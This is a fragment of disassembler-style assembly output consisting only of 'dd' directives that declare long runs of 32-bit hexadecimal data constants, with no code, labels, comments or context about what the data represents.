		dd 6BE6F119h, 0DD9D7400h, 92806E5Fh, 0D6DA0024h, 4D0DC327h
		dd 0E5419AAh, 677695F4h, 9843102Ah, 2AE7106h, 51A932h
		dd 637A868Bh, 0FBFEBA92h, 0D04D590Ah, 0C805402h, 94EC60C7h
		dd 0D64C007Dh, 0A283DA56h, 0B31425A4h, 30B39F2Ah, 654B51A6h
		dd 0E2704F7h, 0C29908ABh, 0FE203D04h, 26BEEF18h, 488506Ah
		dd 0C07068D2h, 5690B84Ch, 0F02B8F32h, 45188028h, 18FDD178h
		dd 91C3CAB8h, 50ECAA13h, 0F4C5221Dh, 0CD82942Ch, 419A36F9h
		dd 418A6194h, 80D4A779h, 603D69D6h, 0A513A84Dh,	0D4309806h
		dd 27DAE62h, 8A352C0Eh,	0F9E3152Fh, 26AA390Ch, 506729BCh
		dd 742870h, 35A4144Bh, 33AA1011h, 460A624h, 74AD0340h
		dd 53FEAFBh, 30B049B1h,	3690419Ch, 8B9A7F89h, 1025AAE1h
		dd 0DE8F227Ch, 4B42441h, 0C8304460h, 770034D4h,	327DD7A3h
		dd 0F85766Bh, 0CA31A84Bh, 0D3ED8A20h, 0D9014D62h, 30F1BF18h
		dd 10372802h, 85DBFB00h, 7DC05A05h, 0FA4F1007h,	0BCFA25C3h
		dd 0D802D048h, 0C084CB06h, 136D9288h, 10A7A41h,	301BDC68h
		dd 9919797h, 3312D8E0h,	0F0A6A321h, 0C0B06948h,	3046B28h
		dd 775000A9h, 0D1845E31h, 9F408B9h, 0A5950C26h,	69CA015h
		dd 7A240DABh, 0AAA818B9h, 270F4945h, 13BC84B1h,	203C84h
		dd 2A84E9Fh, 6806610Ch,	4643C5DDh, 0F2165DB0h, 0ABDA1401h
		dd 29CAA090h, 0D24EA180h, 3953B4F3h, 0FEAD8700h, 0A70CFB6Ch
		dd 2F190129h, 0A8A59B58h, 51442257h, 0BF20E2E8h, 0FC99D84h
		dd 9A768296h, 791339E0h, 0C0131B7Fh, 6000EAD3h,	0A84A7193h
		dd 2C272CCBh, 0DB12C0h,	4B9AD2ACh, 0AC0331D1h, 7163BF22h
		dd 6477DAD7h, 9434816Ch, 17250E4h, 3FA8275h, 0CCD188AEh
		dd 7E1311CCh, 48521B33h, 87464008h, 0A472BBFEh,	0CC9882A9h
		dd 0FBB58D20h, 0CFD60031h, 0A65A33D5h, 370064B3h, 0A47F34ABh
		dd 3FDAE4F0h, 34CC296Fh, 1C8DC180h, 0E200A69Ch,	54F2075Bh
		dd 0E2D77DEAh, 809F4CC5h, 0FD15CCEh, 0A09783E4h, 65D6C2C8h
		dd 519C00Fh, 0DB74181Ah, 97BD7100h, 0D52F240Eh,	0CC980234h
		dd 1EAA4468h, 4B035444h, 0A80EFC42h, 4DD03BF5h,	28BC2708h
		dd 0B4317112h, 86DFF1DBh, 64F6045Eh, 0C26EE106h, 1CC6A628h
		dd 0F3005CB9h, 1A97614Bh, 11680032h, 964A876Ah,	9A012C02h
		dd 0EA9F6058h, 0C44C18ABh, 0DCCF007Eh, 589311D9h, 0F7F8BD0Ch
		dd 0E47D2302h, 0A0CC9D64h, 7A66D25Ch, 358A15C9h, 0A601F80Ch
		dd 1013096Ch, 34D045D4h, 7413EFC8h, 6DABEF01h, 4C63F0BEh
		dd 0D0AE1B00h, 680FF803h, 3C069A58h, 72548002h,	514F85ADh
		dd 0F4AF504Ch, 60284041h, 6402B8A4h, 1CB9B5F2h,	2157C00Eh
		dd 16A26012h, 0F16B9CADh, 3CD0AA26h, 4D24570h, 72449E1Eh
		dd 3694C0AEh, 8498D0A0h, 60BCB955h, 0A5541C50h,	0B200B790h
		dd 10727A7Bh, 0B9C9652Ah, 1EA50008h, 40C821D7h,	2BF40B50h
		dd 8A405894h, 2CCD88h, 0A425EE72h, 1582C408h, 42774814h
		dd 46CF3548h, 11A3000Fh, 36D24800h, 13424A72h, 0D34D3E01h
		dd 98698321h, 0E8C4DC21h, 2979819Ah, 0E4900064h, 7F89617h
		dd 8A600A5h, 0F281BEFCh, 68007921h, 0D0B27E66h,	786C53C6h
		dd 0DDC9302Ah, 7AE964C9h, 802E7739h, 13B4A6D4h,	0A429909h
		dd 56A14438h, 22A84DF4h
		dd 51CC504Ch, 0C7A47988h, 22B9CD89h, 0F3C05A67h, 3A189F06h
		dd 0FB14D65h, 74AB5012h, 473600ADh, 0D506E060h,	62F04DB8h
		dd 20B1392Ch, 0BEB0006Bh, 60833Ah, 729380AFh, 0E0108423h
		dd 0AB703018h, 0EB0D079h, 0E938505Fh, 0D7C562A0h, 37043F3Eh
		dd 3ADBEF16h, 0AE3A24CBh, 0A4DCA4F4h, 0A52E00C0h, 0BF02456Eh
		dd 250F1A52h, 40554C8Ch, 0AAC7EBD7h, 0C824C11h,	5B4271h
		dd 0BA6FE218h, 0EE506D8Dh, 58F4BA99h, 3B21D893h, 2A009F11h
		dd 64257816h, 0CE002C52h, 0DCB359D6h, 0A85FA98Dh, 198B8154h
		dd 5176F3F8h, 7F4339Fh,	483D33CFh, 0E144CE43h, 9D405747h
		dd 319D0955h, 6029D8D3h, 51BD52h, 0E8A99E34h, 1D6465E1h
		dd 58725E07h, 0FAB12147h, 1E6CFB0Dh, 2C22187Ch,	29E9BA00h
		dd 221BF547h, 3F5E1A00h, 0D55A22Dh, 4A980044h, 90630278h
		dd 612C8DCFh, 0F400BCD4h, 0DBAE8EF1h, 24E71E04h, 0E52607E4h
		dd 7945C064h, 0B8138C5Ah, 78206571h, 0F9F646F7h, 153828CCh
		dd 983247A3h, 0AD5B9B07h, 0A6908072h, 0B700BB46h, 0CBD9E9BEh
		dd 7FC489Dh, 0A9B40912h, 0EDEF8090h, 19C69278h,	8404Eh
		dd 20461897h, 0A1A28B5Eh, 867D2F00h, 0ED410C74h, 31AE6191h
		dd 7FEC288h, 8731DC81h,	78D4BC4h, 0FBFC2817h, 20E3F61Bh
		dd 80C2E83Eh, 3733DB7Eh, 0CF5CC29h, 0EC673632h,	867FC441h
		dd 71683B00h, 8E69E907h, 90D900EDh, 0F1E5EB42h,	4E67412Bh
		dd 1CE085A1h, 1FEAAD7h,	0DC60E8D2h, 0A5BA9343h,	3C5FDC21h
		dd 32F8B28Dh, 76540118h, 0F068F8B1h, 1F4EFA18h,	0E333131h
		dd 0E940F69h, 6A2FE640h, 750199DEh, 3822633Dh, 4080117Ch
		dd 30E68AFCh, 84A8F655h, 4D6308FBh, 3E06749h, 8F9EC569h
		dd 8000650Ah, 0AF3149A9h, 547DF988h, 2243A0E5h,	5F01ED6Eh
		dd 614ADA78h, 4660D5A4h, 0B79F00F2h, 0DDC8A1FFh, 30C81379h
		dd 0FBB87F7h, 1428719Ah, 8209D4FAh, 89C74173h, 960654E8h
		dd 8B720068h, 290BCA99h, 0FE00789Bh, 0CD35ACA6h, 15F76BCh
		dd 7D3FF870h, 0DB67E48Fh, 0B45A6100h, 82EC8081h, 0AACB00DFh
		dd 651F4A4h, 0D4034231h, 0C388EFB5h, 57311892h,	6C247101h
		dd 33B17800h, 55C3DC98h, 809A1D51h, 3F1880B3h, 4B6C41C7h
		dd 0EF438B00h, 5BB091C2h, 2F0D01A9h, 0DD79C389h, 1DFBC83Ch
		dd 39D14163h, 5697863h,	0B65A2B4Bh, 0E6E4450Ah,	88E8434Ah
		dd 290A9FD4h, 0B4AA99DCh, 1171EF80h, 710D5F8h, 9003F7E5h
		dd 861410E0h, 972696B9h, 930C2FB2h, 384871CCh, 398D8BDFh
		dd 279E662h, 1080C0E4h,	0E52F4AC2h, 8B9ADF09h, 0E0A03840h
		dd 2ECF0588h, 446A8037h, 5E8A7EFCh, 0D37D38C1h,	57F8D630h
		dd 51EF73B9h, 0B0F33477h, 604FE54Bh, 86C75125h,	0EA006D8Fh
		dd 96C80C13h, 212E47h, 0E01B15F4h, 4691D39Ah, 80B44B3Eh
		dd 8ADFD792h, 0C448022Fh, 20E1C2B8h, 30385B7Fh,	41711076h
		dd 0DC14EFFFh, 0C84992h, 87F6587Fh, 2AD68813h, 0F1F01724h
		dd 50CF3180h, 79B27D07h, 3D498B01h, 0EE543242h,	3F552181h
		dd 0CC96D35Ah, 0DE0003EDh, 80652E98h, 15F31FBh,	0C0FA421Ah
		dd 3454C397h, 0E9C60C14h, 12A9F967h, 0EAA91E5Dh, 4BD64E07h
		dd 0CBAD05C0h, 580B4C61h, 867EED09h, 0E2D54491h, 18F8FB10h
		dd 91FD543Eh, 3102661Eh, 6E2964E6h, 4510463Ch, 8022E0A1h
		dd 11430C00h, 0CFF79465h, 520E24AAh, 1E310294h,	58404A68h
		dd 2CA00437h, 3A6016FBh, 79EDE841h, 0F951C096h,	9EE76F69h
		dd 5F003D90h, 84026E42h, 49DD6843h, 8040740Ch, 9E34018h
		dd 99783988h, 0E8178734h, 0CB8811ECh, 7F5C4066h, 49E73844h
		dd 0F654E0E0h, 0C1F83F51h, 0A06C50E0h, 88009549h, 9707B503h
		dd 1DCDF7h, 0B67F37E6h,	0CAA77192h, 409FCB24h, 0D989B80Ch
		dd 2311451Ah, 24BA01D0h, 0A34DD192h, 0BFCBD4h, 3873097Bh
		dd 61FFC05Eh, 54DB7F14h, 60153AC0h, 2AB9C841h, 90F65051h
		dd 0EF3788AEh, 0F80CDF00h, 2F31775Fh, 30D49808h, 0B7394C41h
		dd 4B004DB5h, 96519D9Ch, 0A03BC133h, 9B1127E0h,	8E378038h
		dd 0AA16529Ch, 0F73FF4E3h, 0BCF8D800h, 0C6E4A7C3h, 908CA914h
		dd 4D27F017h, 0CA64E2B9h, 912717B0h, 61368F79h,	4F8402EAh
		dd 0A7FB02Ch, 7AED4CE3h, 5E3FBE94h, 83C1DA6h, 20B230CBh
		dd 0C84E24AFh, 0E2394A60h, 0ED9B0F94h, 19246C40h, 26F803C2h
		dd 0C9E1DAADh, 0D02D7EA8h, 1D3DDB00h, 2EE0BE4Dh, 0EA147ACFh
		dd 538F7D89h, 0E800F0ECh, 0A55779E4h, 5807864Ah, 0EED35407h
		dd 0F406CC75h, 0A069394Eh, 0F02640h, 38C0C180h,	2079DFBDh
		dd 0D8A36800h, 92FA3765h, 9B5099AFh, 81C4D16Dh,	0DCDC7958h
		dd 32E8424Fh, 0F0F166F0h, 0F7098909h, 106E36E7h, 3CB814h
		dd 1F27E676h, 0AEE39F24h, 0C0051EAh, 13413B46h,	48383628h
		dd 0B6817475h, 80E3C193h, 2BDD0441h, 30318CE1h,	39C10641h
		dd 31C0177Bh, 79F64232h, 559A7C53h, 2450247Eh, 884114FBh
		dd 2A7C2EE8h, 0DFDC4403h, 4754D8h, 151773C9h, 9046E2BAh
		dd 0B7E3C00h, 7DED55A6h, 0C6E0AA8Eh, 0BA250410h, 0C0C1ABCFh
		dd 5FE0B5F2h, 0B2A64400h, 0FCEF113h, 0A47B5CEDh, 0E2C08883h
		dd 654CD17Ch, 57F4840Ch, 30F4CCCh, 880BEE4Dh, 69404341h
		dd 0D1007EA5h, 0FD2DBABBh, 1D1117C2h, 428CE16h,	0C4053B96h
		dd 99488144h, 5D59819Bh, 0C9CEE436h, 0B94933F0h, 6E4A06F4h
		dd 0CF0089EEh, 0F55EB517h, 8AD7BCh, 0FAB7C7Fh, 0E3CD1174h
		dd 97B7523Fh, 68081644h, 204817h, 7E2D641Ch, 59002169h
		dd 6F1DB58Dh, 896025h, 1EF71670h, 0E054337Fh, 1CFBA1C7h
		dd 7942E01Ah, 0A69923EDh, 0DF91A100h, 1FC5F5B5h, 0FFF809B6h
		dd 4B81CB47h, 20E0DDBCh, 41EC0544h, 0DC491B60h,	0A559A0h
		dd 4A542269h, 0C1DBD2E9h, 2E03DE00h, 0CACDC61h,	0DFF61E34h
		dd 0FB6E0C89h, 2B0B8C1h, 0E2761B03h, 80E465F9h,	28C23344h
		dd 4CF45CDCh, 0D6805099h, 0FACD079Ch, 9D1E850Bh, 0EC0484EDh
		dd 2D631420h, 0CC292B01h, 8B17B658h, 56E461F6h,	32DD3710h
		dd 7438511Fh, 5F62A4E4h, 288098DCh, 565E1F5Dh, 6A7F80DEh
		dd 0B6F93950h, 0E2651004h, 40C84E30h, 987F03DEh, 0EC0F7A6Ch
		dd 578821E5h, 0F26DFC16h, 0DEE67BEAh, 47351100h, 0BD32E964h
		dd 6A61178Dh, 7EB44762h, 0A6316463h, 0BF7B11E8h, 79E13707h
		dd 6126B6A3h, 70B94300h, 0DA2E3810h, 65C30E6Ah,	20FFFEEh
		dd 0DF27E480h, 48E287B6h, 0CC83972Ch, 1455E588h, 9E40244Eh
		dd 0C0B03854h, 0A6C43980h, 8C9ACAF8h, 0BF00BA77h, 37137646h
		dd 0E3991485h, 4E949180h, 4DD2A75h, 459DC300h, 52E9DEF0h
		dd 0B277DFh, 0EBDF60Fh,	8B443092h, 0DC40CD06h, 41959Ah
		dd 2F551F0Ah, 11D70F90h, 0F566D600h, 26DF8DD9h,	5449824h
		dd 0F6298B7Dh, 473C402Ch, 4BD4916Ah, 8481691Dh,	0C0A19DC0h
		dd 0A5A2E72h, 88608CB5h, 0FF4480ECh, 0F1633857h, 34CC04F1h
		dd 0DDAC026Ah, 79B8C61Fh, 0F5C3A8E0h, 74080C99h, 6E5E8689h
		dd 7304199Dh, 9080178Dh, 54793481h, 29003C22h, 0BD89867Fh
		dd 5724F647h, 1342B43Eh, 743C2256h, 54EFC8E0h, 74960720h
		dd 27E0F39Eh, 0DEF80098h, 0E6B7A726h, 55030E93h, 0F79695C6h
		dd 0CFFE892Fh, 259CDBE4h, 0A0A6F5ECh, 0F43C0889h, 57F012B6h
		dd 0D1E08897h, 0A35617h, 19E38FF3h, 9BB87C49h, 0E3557322h
		dd 3B2FCA10h, 86CB930Fh, 0F9C6A3BBh, 9CD4C1D2h,	44908848h
		dd 6E2237A7h, 19671CF4h
		dd 81258121h, 203C9F33h, 0DC065DA4h, 0FE274189h, 387640F9h
		dd 0A1C6FAE8h, 98892FFBh, 0C9DF1604h, 0F4180490h, 0CCB4A49Dh
		dd 654D4A12h, 9C3E240Ah, 3682051Dh, 60FE3DD4h, 84F3605Ch
		dd 1289D44h, 0C450E10Eh, 0A1E63DD5h, 8A04B829h,	0CA2E441h
		dd 9C7E11h, 0C77C09E6h,	9904F619h, 0F9091E4h, 4086918h
		dd 34A260DBh, 3841B608h, 211AFE80h, 917907h, 762605F1h
		dd 1FE592EEh, 0AC4CF905h, 0C8866EDh, 4ECC1C37h,	4B3DFBh
		dd 8B4A6988h, 7F4A385Eh, 88FD3470h, 0F6C345D4h,	0E25C5050h
		dd 52AB2284h, 631ECC67h, 0AC6C8331h, 59F14744h,	646351h
		dd 6A6FB791h, 1F7AE7h, 0A6B946D9h, 0FE35CCBDh, 7CE43700h
		dd 73DE6DBEh, 58425D31h, 731853h, 0C8290A05h, 15D722AAh
		dd 0B0B1572Ah, 0F918327Dh, 12C17FEDh, 49CC3931h, 7DE13683h
		dd 0F0A7425Ch, 0DF488FA9h, 9A8C4C94h, 0C331A6h,	67EC8571h
		dd 0B3C5C677h, 513AD1Dh, 95F83A00h, 2227512Fh, 8B00AF99h
		dd 0DD1E7E6Ch, 12F59F50h, 958A30ACh, 9044135Ch,	0EE772900h
		dd 9BEDE500h, 8A31C516h, 0B036F199h, 8429BA15h,	447C4328h
		dd 0DFB0AE40h, 0A2C8702h, 0E0098F4Dh, 0E96C17FCh, 7A7C5820h
		dd 502948D4h, 63790220h, 24DC618Ah, 0E577C317h,	806C184Dh
		dd 0FFEC3390h, 0F6A4015Eh, 76E8C96Bh, 9FBC28B3h, 9AA6E9C0h
		dd 50425Fh, 61FD6240h, 0F4A72C29h, 30472F28h, 9106022h
		dd 0EF6E2932h, 4FE00C2Fh, 4AE42BDEh, 10F34700h,	339FC549h
		dd 41F00ABh, 0D3216016h, 4E4B11FFh, 0E61A040h, 12B93B9Eh
		dd 0EB0DEDF4h, 0CAA40D04h, 0E091948Dh, 0A0672738h, 1BBD6984h
		dd 80B900CAh, 0B04628A2h, 98844211h, 0C75C177Ch, 88051357h
		dd 1C847628h, 84AC4731h, 946A1A99h, 0E4B08490h,	4000DA0h
		dd 0F325973Ah, 3F889A1h, 0F96B03E0h, 0C6A05E2Fh, 91606E44h
		dd 1B763151h, 7DD0006Dh, 3A3466AEh, 0B000B829h,	4BEFF073h
		dd 154CEDAFh, 0CC949AB7h, 0DBA01600h, 0B00CA589h, 0A956F004h
		dd 0B898FBBEh, 0B2510791h, 40655969h, 932D2E4Dh, 4210C751h
		dd 0F6109CFCh, 1C864C79h, 0CADB24C0h, 6107DD03h, 2B60AF48h
		dd 0E25E2CD0h, 601C5CE7h, 41A79918h, 0D50156C8h, 5857A166h
		dd 0E0303D96h, 41C43DA6h, 0AE948E83h, 20BD3201h, 56620AE0h
		dd 6B25500h, 8D038EE5h,	4E9F0173h, 3CAE3D79h, 3092D186h
		dd 96490CC0h, 1F50C44Ch, 65018BC0h, 9FB8015Dh, 10FBEC0Bh
		dd 0DEF849DFh, 35D3A520h, 0F28C0023h, 0CBAF8409h, 8E050A93h
		dd 48025B25h, 0E699EC23h, 0E2091E61h, 80211ED5h, 2B1CC662h
		dd 2509895Bh, 119AB44Ah, 7CD8A4F4h, 0E07E1CE7h,	0A2F0011Bh
		dd 8BE8991Ch, 19B98821h, 800C6CE0h, 8B62728h, 0D4085F48h
		dd 0A091673Ch, 3F8CB459h, 1DA4DF92h, 607F64B0h,	98B623CCh
		dd 2899F870h, 44F85542h, 0CB5A8890h, 5EB95C20h,	18F86295h
		dd 0DC21F4D4h, 683816FBh, 5E2D4480h, 86607637h,	0B952A459h
		dd 5AFEDFh, 9349DD33h, 0E61690FEh, 1244F890h, 0EF291324h
		dd 65302057h, 9D0768B6h, 321FC893h, 0C5D2C0B0h,	4FD5F208h
		dd 715C22EBh, 87408C98h, 0F7F6DB0Eh, 7C2E00D3h,	7EC26FDEh
		dd 0A54D00FBh, 0AD82D83Bh, 0A0969ADFh, 56CFE580h, 1285672Dh
		dd 20418DE2h, 98A709E8h, 4FC48E09h, 7F4780E7h, 121909Ah
		dd 4290DB5h, 3908F4A9h,	3CE82CF4h, 480A973Fh, 0A0561408h
		dd 99FF288h, 4EEC0EBAh,	3B4A010h, 44924430h, 3F04ACh, 0E87865A6h
		dd 67365D45h, 63070C91h, 700463Ch, 27FC904h, 6ACB380Bh
		dd 0FC712FC5h, 58656B00h, 1C028A01h, 80C3C785h,	0D7C8BCA6h
		dd 6D13CE53h, 0F40A7614h, 2388E4FDh, 0B6918010h, 0CE6785D9h
		dd 19C5A890h, 5EC761FCh, 8B38CB33h, 5CCAA563h, 0D4478200h
		dd 0B5D59A05h, 0E44AEF28h, 960722h, 35999460h, 0D41F8DCBh
		dd 51EA0C1Ch, 210572C1h, 0C2CC6F48h, 16D7E04Bh,	857599DFh
		dd 0CCB28Ch, 0A0F20D17h, 4CD266FDh, 0B12ED60h, 790CC39Ah
		dd 0D45F8917h, 84CC9C32h, 9340A154h, 0BBAC71DEh, 0E458F601h
		dd 325430C4h, 0F0934717h, 38298BAFh, 0CC277A4Bh, 910CD751h
		dd 172068F0h, 8ABA93B6h, 0B1A00050h, 32A8FB3h, 7213003Fh
		dd 7598C090h, 28258463h, 48C0089Ah, 0A16D880h, 0AC4AA27h
		dd 0EF219E7Bh, 70478028h, 0FD41504Ch, 83BAD109h, 98B8EC81h
		dd 64925990h, 0FC19492Dh, 9E6308D0h, 0CEFFC588h, 28BB22C4h
		dd 0A186239h, 543BC989h, 9D1B0748h, 0D7AE30E7h,	23005EC4h
		dd 3BF85730h, 5BC7914Fh, 0FB1404D3h, 0F87C8915h, 92642B76h
		dd 0FB426748h, 0A4CC4009h, 0A788640Ah, 14102032h, 0D0D416A4h
		dd 3CC37714h, 5DD40702h, 907E5742h, 9E6E51E0h, 0E9608090h
		dd 4C935308h, 14EFE624h, 4A2E8911h, 0C8888694h,	58A631E4h
		dd 0F9D5B917h, 0D8EFD301h, 4CD0D360h, 850A00C1h, 0D731B16Fh
		dd 98C579C5h, 1C097B39h, 0EB581832h, 46640013h,	0D820E4A8h
		dd 7F01C210h, 2B99F649h, 4C69679Ah, 49F6101h, 72230F34h
		dd 7C1458C8h, 0A7441CB4h, 0EF41256h, 0DCA5B212h, 7FB4C18Ah
		dd 3E61C0BBh, 6914081Fh, 327EDF00h, 78895674h, 4348004Fh
		dd 36E5011Ah, 79C0FA6Eh, 1619CED4h, 0F97A002Fh,	4B6F6D18h
		dd 2A17FD31h, 4C8077BAh, 3FBDD68h, 9E047FF8h, 31F93F19h
		dd 0A4656151h, 0DF60D849h, 3F093D6Dh, 8D814416h, 159E45E1h
		dd 6084710Dh, 84BA4904h, 4CCF3613h, 247310FBh, 404FC21Eh
		dd 3631DFA4h, 923D7586h, 7F05F853h, 7BFA3CDDh, 0DC8EE030h
		dd 3F8B004Fh, 942914AFh, 10A991F9h, 802838DFh, 0A4E5631Ch
		dd 9E22482Ah, 0D1CDBA01h, 2A3642AAh, 703C4C20h,	4F600FAh
		dd 0CD4E6435h, 41277F8Ah, 25FC10BFh, 0B1E90098h, 0ABA937F4h
		dd 113E9F87h, 0DF080230h, 0C460E032h, 0E33138Ch, 2F386092h
		dd 0DC253CD8h, 0BA689047h, 8E50064h, 3414F6CFh,	0BC0CC7F0h
		dd 49FD60DCh, 0B4913826h, 901752BDh, 7098C8E8h,	1002F2FEh
		dd 2F2EADA2h, 7C5C612Bh, 0CAA08868h, 2C0337E0h,	1A3D9FF8h
		dd 5FA2C8C7h, 511C1739h, 54B8303Eh, 0F23ED7FBh,	0C719009Ah
		dd 0C9994D07h, 4ADC1EEEh, 438D4992h, 43FC2484h,	0F32465DFh
		dd 39A0096Dh, 6C51FF76h, 0B0BA7FC7h, 98471E12h,	0E7544E8Dh
		dd 7F703701h, 0C873AFh,	3A3DF74Bh, 0E98E8DFh, 2587C6C8h
		dd 5ED0B2C1h, 0A7CC42FCh, 170EDA20h, 1F4F00F5h,	50195BCCh
		dd 0C500A015h, 14E4095Ch, 0EC99FE2Ah, 0C7209E4Fh, 66B47132h
		dd 492E80FFh, 9A3FFE3Eh, 205448E8h, 5D9C0F80h, 0B70152BDh
		dd 7E1DD7BAh, 0A0704995h, 314701DDh, 90F98F9Fh,	4A618008h
		dd 42023954h, 68BCBE38h, 32A51714h, 52128DE8h, 2642FE0Ch
		dd 1ED16Fh, 893DFDFFh, 6801B94Bh, 0F5CBE3D7h, 53D267ABh
		dd 0B3928004h, 80B0DB41h, 0D00E0B0h, 94ABE731h,	60545F05h
		dd 428A611Dh, 892E66BAh, 990C78DEh, 5D91ACh, 3E5A6BE5h
		dd 0BB200110h, 3F87DA1Fh, 174B3CFh, 0C0BDF528h,	2A6E020h
		dd 7D39D9DDh, 0FCE1E4D7h, 44442B99h, 20B3CD88h,	0A3687BC0h
		dd 0EC0F31BCh, 92F8B988h, 860004B6h, 809E11C9h,	71C0BE1Ah
		dd 8FD17FE1h, 6B0A174Fh, 3118023Ch, 0B4E0E8FFh,	0DC2E44F8h
		dd 0A06F8429h, 0C0435509h, 6AD50005h, 632CE544h, 3A3AF895h
		dd 1D048F54h, 5140D493h, 217C729Bh, 702416C8h, 0ED8EBE48h
		dd 849630B8h, 95562150h, 4C9F580h, 631314F9h, 4C2197FAh
		dd 0EC276743h
		dd 61A4B809h, 30E49C09h, 7D303205h, 9816F15Ah, 4188880Ch
		dd 0BD354849h, 4A6C900h, 205B68E5h, 0A9953A09h,	5A384CDCh
		dd 0BC0020DDh, 8404D06Ah, 0FF57BB3Fh, 901CEA47h, 597E6117h
		dd 0B75ACB01h, 465DC6Dh, 0E80AE822h, 246CEDh, 296E7516h
		dd 0D8A6F8B0h, 84662B3Fh, 0BA6C7E0Bh, 7340D8D0h, 509B5879h
		dd 4223C300h, 1B0C3822h, 0ED4C21C2h, 50685492h,	7000FDD0h
		dd 79ED6691h, 0CD4454DBh, 0E2501830h, 0EFE09454h, 1236EA05h
		dd 8EE23CCh, 88A2E828h,	0B1674F44h, 30E2007Ch, 8C7B33ECh
		dd 0C416BB00h, 0DCF1B50Fh, 0F627010Bh, 39A65377h, 3C522E7Ch
		dd 382D491Eh, 5A5054h, 128CEC1h, 32BBEF0Ah, 0C64070BCh
		dd 0F49C86h, 18B12260h,	4A9372EBh, 5BB87603h, 0FAB7AD8Eh
		dd 1064F908h, 0E13EB060h, 84651E66h, 31788041h,	0F663F0F1h
		dd 5740F917h, 13FB30C1h, 0E8057C22h, 0B23AA97Ch, 0B55F0E74h
		dd 0E0ABE0FFh, 0B080B71Bh, 79EF00B0h, 678129ACh, 0E2EC8CC9h
		dd 0B5A45350h, 0F6266100h, 0C5A41A48h, 5E5A0EE5h, 0F5BE3068h
		dd 78887028h, 0E718817Dh, 0AD28EC0Dh, 5C090033h, 0EBA00CDAh
		dd 78B140DFh, 8AD86480h, 6FC061h, 6233240Bh, 76BA3858h
		dd 85266818h, 881E1D60h, 0B0B97539h, 0C9808429h, 5074EF85h
		dd 0F39759Bh, 6459B022h, 992F1EE2h, 0CB989854h,	7C58B70Ah
		dd 576051Ah, 0CCBE6098h, 9C74B6D4h, 28B33D00h, 0BD99B5D7h
		dd 0BA9326C3h, 3290640Ch, 202611C2h, 0E809A9D4h, 15E078Dh
		dd 6C9D1C9Ch, 2099B806h, 4109FB05h, 0C28685Dh, 0F84C0FE0h
		dd 9FF6C0C0h, 39E1044Fh, 8380674Ch, 692B066h, 1C015281h
		dd 0AA76378Eh, 8426E551h, 8F384309h, 6BCC5408h,	0A417DC05h
		dd 8B00A958h, 0ED380FE5h, 1DF6474Bh, 0B011FB26h, 31DCE821h
		dd 0A1542902h, 824013F4h, 20117958h, 0EBD5218Ah, 41731509h
		dd 0E901057h, 230C0768h, 30511E7Dh, 0C8441B3Fh,	8B018772h
		dd 3D21FA8h, 202A31B0h,	991E74B8h, 0D024452Fh, 86F300AAh
		dd 0C811AFC3h, 9B0B2CF7h, 0B8F1282h, 2490E664h,	65C0C78h
		dd 19F95B94h, 6B954407h, 5DF01350h, 98D99F5Ah, 3A1793Ch
		dd 92D4C6Fh, 0A7A17C46h, 364820B0h, 0EA45CCB0h,	2180503Ch
		dd 258A6C31h, 0C7014103h, 0ECADED92h, 0C0F7B3C0h, 0F0B02516h
		dd 8405C040h, 54F62914h, 92880E8h, 2CAFC56Dh, 62CC410Ch
		dd 67C05131h, 710083C7h, 0C9B2B1E0h, 4AA6FFF7h,	95542047h
		dd 0C3F4AD2Fh, 202BF201h, 808D4637h, 3C00312Bh,	5DC442Fh
		dd 0C0763008h, 0EC181328h, 62383712h, 590CE0F2h, 6EA879E1h
		dd 90E344h, 0A80E6910h,	3ADA11BBh, 1CC9AC26h, 8F85C30Eh
		dd 104F6933h, 21F190h, 2241719h, 271B053Fh, 382C1490h
		dd 9362587Eh, 40851CDh,	0F8EFA9A3h, 59EE8014h, 0D09057h
		dd 938F06A4h, 0F14EAB61h, 80230F3Ah, 4E2E7B8h, 9DC63EFh
		dd 8C958407h, 0B8E41804h, 0F3428014h, 0F181B14h, 809A88Ah
		dd 0F9B1A980h, 0F801267Eh, 423D9FD0h, 2875E287h, 713321EAh
		dd 2BC8C374h, 3B3AD832h, 84BD89EFh, 0FB7C0543h,	102FDCC9h
		dd 99255C94h, 85ADFC20h, 18006B83h, 156F8BDDh, 58893406h
		dd 0C046187Ch, 401C6E26h, 0DE969A3Bh, 0A08CED00h, 39A4DDF0h
		dd 385A483Ah, 0FACD4CC0h, 0CB00E913h, 2861D291h, 2EBD1DBh
		dd 8310A10Eh, 848971D4h, 0AB6C9460h, 23B89651h,	0C8732844h
		dd 0D748DE75h, 607F2B6Ch, 0B6663780h, 48BFF0BCh, 0B019709h
		dd 0E647F313h, 0EFF1E879h, 1D712C90h, 0EE5B84A6h, 0B45C7870h
		dd 4707038Ah, 51E892Eh,	0CC27C880h, 642B1125h, 97860274h
		dd 60CB5ED8h, 98F8E743h, 0CA00AEBCh, 0CDB6BE6Ch, 9578EDE6h
		dd 0F0C02812h, 0B31289D2h, 50E7B6DFh, 37534076h, 92C2E43Ch
		dd 9C31D764h, 0D5F46032h, 9AB000E0h, 4C6BED6Eh,	40BE314Eh
		dd 823CA240h, 80BA00AFh, 3B225BB4h, 87022FA7h, 744E894Bh
		dd 14C47648h, 0C002C54h, 4224C32Eh, 0CA0175CFh,	8B9BB7F6h
		dd 0B4426DE7h, 7C00121Ch, 901EA9BCh, 98A01400h,	0C76C5CE0h
		dd 0D76D00A6h, 31AEFB81h, 2F14B64Ch, 80D45B95h,	0CDEE8043h
		dd 1CAC0007h, 0B13E41CFh, 900247Bh, 7CB3CC7Dh, 2973DDh
		dd 44DC9442h, 25A9CBBEh, 468F38B9h, 9B8BA124h, 2BC819D4h
		dd 43555C6Eh, 5B307F05h, 56BCC0CEh, 5C947938h, 1E7650h
		dd 0C75551FEh, 8F2FA18Bh, 0BE7DF911h, 8C0F6C56h, 5A602FA6h
		dd 0AF1B990Bh, 0C644CD00h, 0A2030CF2h, 15310449h, 0C75E39C2h
		dd 668BE184h, 873C28EFh, 409F67EDh, 0FD09C0F1h,	28640277h
		dd 53204BC2h, 2F1DC840h, 202EE889h, 58FA7A38h, 0DEC5B309h
		dd 0CFF1802Ch, 0C3B99Ch, 0EE3314CBh, 0C24B171h,	0C58E091Ch
		dd 80092993h, 0E89804D1h, 0A07BED43h, 8024BDA4h, 0FE71F13h
		dd 0CFF20009h, 0C0C405B4h, 0B500F831h, 7BE52547h, 975D857Dh
		dd 414C9484h, 0AC399804h, 1CF964E4h, 0C5B45D02h, 161FC221h
		dd 3A6CA1DAh, 30758032h, 6500C38Ch, 61A9501Dh, 13743090h
		dd 4025957Dh, 31453328h, 389D4F1Eh, 412E9Ch, 4354DD5Fh
